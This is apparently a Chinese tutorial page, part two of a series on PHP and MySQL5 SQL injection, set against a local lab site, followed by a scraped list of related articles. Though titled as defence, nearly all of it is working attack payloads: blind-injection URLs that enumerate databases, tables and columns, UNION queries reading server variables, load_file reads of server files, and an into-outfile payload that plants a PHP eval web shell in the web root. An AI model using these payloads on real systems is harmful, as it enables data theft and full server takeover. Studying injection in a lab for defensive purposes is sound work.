WEB安全 php+mysql5注入防御(二)
第四天:
一、新的注入函数:
- ascii()
- substring("string",n,m) n>=1
- limit n,m n>=0
- length()
- union 合并两个或多个 SELECT 语句的结果集,不重复
- union all 同上,但允许重复数据
- select distinct 等同于select,但会去重
- load_file() 文件读取
- into outfile 文件写入
information_schema.schemata 存储所有数据库信息
- SCHEMA_NAME 数据库名
- DEFAULT_CHARACTER_SET_NAME 数据库编码
- GLOBAL_VARIABLES 所有全局变量
二、猜解数据库个数、库名、表名、列名:
- //猜解当前数据库长度、及库名
- http://127.0.0.1/first.php?x=1 and Length((database()))=5 //当前数据库长度(数据库名:sqlin)
- http://127.0.0.1/first.php?x=1 and ascii(substring((database()),1,1))=115 //猜解当前数据库第一位,ascii(s)=115
- http://127.0.0.1/first.php?x=1 and ascii(substring((database()),2,1))=113
- //判断数据库个数
- http://127.0.0.1/first.php?x=1 and (select count(schema_name) from information_schema.schemata)=6
- //判断所有数据库长度
- http://127.0.0.1/first.php?x=1 and length((select distinct schema_name from information_schema.schemata limit 0,1))=18 //等同于下一条
- http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))=18 //第一个数据库
- http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 1,1))=5
- http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 2,1))=17
- http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 3,1))=5
- http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 4,1))=9
- http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 5,1))=4
- http://127.0.0.1/first.php?x=1 and Length((select distinct schema_name from `information_schema`.schemata limit 6,1))>0 //不存在第7个数据库
- //猜解所有数据库库名
- http://127.0.0.1/first.php?x=1 and ascii(substring((select distinct schema_name from `information_schema`.schemata limit 0,1),1,1))<79 //第一个数据库名的第一个字符ascii值
- http://127.0.0.1/first.php?x=1 and ascii(substring((select distinct schema_name from `information_schema`.schemata limit 1,1),1,1))<79
- http://127.0.0.1/first.php?x=1 and length((SELECT table_name from information_schema.tables where table_schema=0x73716C696E limit 0,1))=4 //第一个数据库的第一个表名的长度
- http://127.0.0.1/first.php?x=1 and ascii(substring((SELECT column_name from information_schema.columns where table_schema=0x73716C696E and table_name=0x6E657773 limit 0,1),1,1))=105 (i)
- http://127.0.0.1/first.php?x=1 and ascii(substring((SELECT column_name from information_schema.columns where table_schema=0x73716C696E and table_name=0x6E657773 limit 0,1),2,1))=100 (d)
- 备:
- http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- http://127.0.0.1/first.php?x=1 and ascii(substring ((0x41),1,1))=0x41 //抓包抓到的语句,substring后有一个空格,导致这段注入无效,可能是工具bug
文件读取:
- 1. 要么使用“\\”,要么使用“/”,避免使用“\”造成转义
- 2. load_file("C:/phpStudy/WWW/first.php")可以写成十六进制格式load_file(0xnnnnnnn)
- http://127.0.0.1/first.php?x=1 union select load_file("C:/phpStudy/WWW/first.php"),2,3
文件写入:
- http://127.0.0.1/first.php?x=1 union select "<?php eval($_GET['caidao']); ?>",2,3 into outfile "C:/phpStudy/WWW/caidao.php"
网站路径获取方式:
- 1.报错显示,漏洞报错
- 2.遗留文件:phpinfo.php、php.php、info.php、test.php
- 3.读取配置文件
- 4.社工:域名即路径、google搜索、inurl:edu.cn warning、
三、information_schema下global_variables表在注入时可能有用的信息:
- version 数据库版本
- basedir 数据库安装路径
- datadir 数据库文件存放路径
- hostname 服务器的主机名
- port 数据库端口
- pid_file 进程pid文件路径
- general_log_file 日志文件路径
- character_set_server 字符编码
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_name,2,3 from information_schema.global_variables
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x76657273696F6E //version版本,直接通过VERSION()也可以获取
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x62617365646972 //basedir数据库的路径
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x44415441444952 //datadir数据库文件存放路径
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x686F73746E616D65 //hostname服务器主机名
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x504F5254 //PORT数据库端口
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x5049445F46494C45 //pid_file进程pid文件路径
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x47454E4552414C5F4C4F475F46494C45 //GENERAL_LOG_FILE日志文件路径
- http://127.0.0.1/first.php?x=1 UNION SELECT variable_value,2,3 from information_schema.global_variables where variable_name=0x4348415241435445525F5345545F534552564552 //CHARACTER_SET_SERVER字符编码
- mysql> show variables; //或者在交互模式中查看所有全局变量
- 低权限用户也可以访问:
- mysql> show databases;
- +--------------------+
- | Database |
- +--------------------+
- | information_schema |
- | test |
- +--------------------+
- 2 rows in set (0.00 sec)
- mysql> use information_schema;
- Database changed
- mysql> select variable_value from global_variables where variable_name=0x686F73746E616D65;
- +----------------+
- | variable_value |
- +----------------+
- | win7-PC |
- +----------------+
- 1 row in set (0.00 sec)
WEB安全 php+mysql5注入防御(二)的更多相关文章
- WEB安全 php+mysql5注入防御(一)
注入利用函数: concat()函数将多个字符串连接成一个字符串 database() 当前数据库,用途:获取数据 version() 数据库版本,用途:利用版本特性,如5.0版本下的informat ...
- 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST
Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- WEB 安全之 SQL注入 < 二 > 暴库
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- Web前端攻击方式及防御措施
一.XSS [Cross Site Script]跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户 ...
- Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...
- 简单了解:Web前端攻击方式及防御措施
一.XSS [Cross Site Script]跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用 ...
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...
随机推荐
- Spring MVC 实现Excel的导入导出功能(1:Excel的导入)
简介 这篇文章主要记录自己学习上传和导出Excel时的一些心得,企业办公系统的开发中,经常会收到这样的需求:批量录入数据.数据报表使用 Excel 打开,或者职能部门同事要打印 Excel 文件,而他 ...
- linux 查看在线服务进程
输入命令:netstat -ltunp 注意,这个-与l之间是没有空格的 要对进程进行监测和控制,首先必须要了解当前进程的情况,也就是需要查看当前进程, 而ps命令(Process Status)就 ...
- Hello,world的几种写法!
这是我的第一篇文章!开个玩笑~~“你知道回字的四种写法吗”? printf("Hello,world!"); cout<<"Hello,world!" ...
- Cloudera Manager5安装总结遇到问题及解决办法 CDH 5.8 on CentOS 7
问题导读:1.Cloudera Manager在线安装你认为有什么优点和缺点?2.Cloudera Manager安装过程中遇到,你认为该如何解决?3.在线安装addr.arpa domain nam ...
- 一步一步pwn路由器之栈溢出实战
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文以 DVRF 中的第一个漏洞程序 stack_bof_01 为 ...
- AndroidUI多线程网络请求更新导致BUG
昨天发现一个问题,以前做好的UI列表不用正常显示了,必须,下拉一下,才能加载内容,以前是页面自动加载第一屏幕的. 这个就不好了,只是给页面加了一个按钮啊,不应该造成这么大的问题. 按钮就是设置了一个位 ...
- python 3 输入和输出
一.普遍的输入和输出 1.输入 在python3中,函数的输入格式为:input(),能够接受一个标准输入数据,返回string类型. input() 函数是从键盘作为字符串读取数据,不论是否使用引号 ...
- asp.net生成PDF文件参考 .
TextSharp 是用来生成 PDF 的一个组件,在 1998 年夏天的时候,Bruno Lowagie ,iText 的创作者,参与了学校的一个项目,当时使用 HTML 来生成报告,但是,使用 ...
- ORACLE 数据找回
-- 找回一个小时前的数据 select * from sys_system_dictionary as of timestamp sysdate - 1/24order by id AS OF TI ...
- CSMA/CD 3
一.二进制指数类型退避算法 (truncated binary exponential type) 发生碰撞的站在停止发送数据后,要推迟(退避)一个随机时间才能再发送数据. 目的:重传时再次发生碰撞的 ...